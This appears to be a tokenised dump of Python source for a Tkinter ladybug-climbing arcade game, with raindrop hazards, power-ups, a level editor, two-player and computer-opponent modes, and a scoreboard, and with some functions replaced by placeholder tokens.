'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\n<function token>\n\n\ndef editorMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.yourSpeed = 'slow'\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.yourSpeed = 'medium'\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.yourSpeed = 'fast'\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n checkMiddle(event, data)\n checkLast(event, data)\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\ndef editorTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\n<function token>\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\n<function token>\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\n<function token>\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n 